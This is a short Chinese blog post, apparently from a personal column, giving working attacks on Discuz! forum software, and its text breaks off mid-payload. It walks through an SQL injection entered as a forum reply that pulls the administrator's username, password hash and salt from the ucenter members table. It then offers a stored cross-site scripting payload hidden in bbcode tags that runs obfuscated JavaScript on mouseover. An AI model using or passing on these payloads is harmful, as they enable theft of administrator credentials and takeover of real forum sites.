hudongge的专栏

1.注册个用户,登录 2.随便找个帖子回复！ 回复内容 ↓ 注入语句： a',`subject`=(/*!select*/ concat(username,'|',password,'|',salt) from pre_ucenter_members where uid=1 limit 0,1),comment=' 然后到回复补充那里随便补充一下，注入语句就被执行。 补充的地址

发贴时勾选源码， 鸡肋在于，要鼠标触碰才能触发，但是，鼠标触碰还是概率很大很大的把上面的alert（/DZ-XSS-0DAY/）换成 [email][url][img]http://www.i0day.comonmouseover=eval(String.fromCharCode(116,104,105,115,46,115,116,121,108,101,46,100,105,115,112